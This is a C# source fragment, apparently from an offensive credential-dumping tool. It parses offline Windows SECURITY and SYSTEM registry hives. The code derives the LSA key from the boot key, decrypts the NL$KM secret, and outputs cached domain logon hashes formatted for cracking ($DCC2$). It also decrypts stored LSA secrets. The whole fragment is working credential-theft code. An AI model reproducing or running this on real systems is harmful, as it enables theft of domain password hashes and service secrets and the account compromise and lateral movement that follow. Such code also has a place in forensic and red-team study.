private static byte[] DumpSecret(NodeKey secret, byte[] lsaKey)
{
NodeKey secretCurrVal = secret.ChildNodes.Find(x => x.Name.Contains("CurrVal"));
byte[] value = secretCurrVal.getChildValues("Default");
LsaSecret record = new LsaSecret(value);
byte[] tempKey = Crypto.ComputeSha256(lsaKey, record.data.Take(32).ToArray());
byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
byte[] plaintext = Crypto.DecryptAES_ECB(dataVal2, tempKey);
return(plaintext);
}
public static List <string> ParseLsa(RegistryHive security, byte[] bootKey, RegistryHive system)
{
List <string> retVal = new List <string>();
try
{
byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data;
LsaSecret record = new LsaSecret(fVal);
byte[] dataVal = record.data.Take(32).ToArray();
byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal);
byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();
//get NLKM Secret
byte[] nlkmKey = null;
NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM");
if (nlkm != null)
{
retVal.Add(" [*] Cached domain logon information(domain/username:hash)");
nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues)
{
if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray()))
{
NL_Record cachedUser = new NL_Record(cachedLogin.Data);
byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
byte[] hashedPW = plaintext.Take(16).ToArray();
string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
domain = domain.Replace("\0", "");
retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower()));
}
}
}
try
{
retVal.Add(" [*] LSA Secrets");
foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
{
if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
{
if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
{
LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
if (secretBlob.length > 0)
{
retVal.Add(PrintSecret(secret.Name, secretBlob, system));
}
}
else
{
LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
if (secretBlob.length > 0)
{
retVal.Add(PrintSecret(secret.Name, secretBlob, system));
}
}
}
}
}
catch
{
retVal.Add("[-] No secrets to parse");
}
}
catch (Exception e)
{
retVal.Add("[-] Error parsing SECURITY dump file: " + e.ToString());
}
return(retVal);
}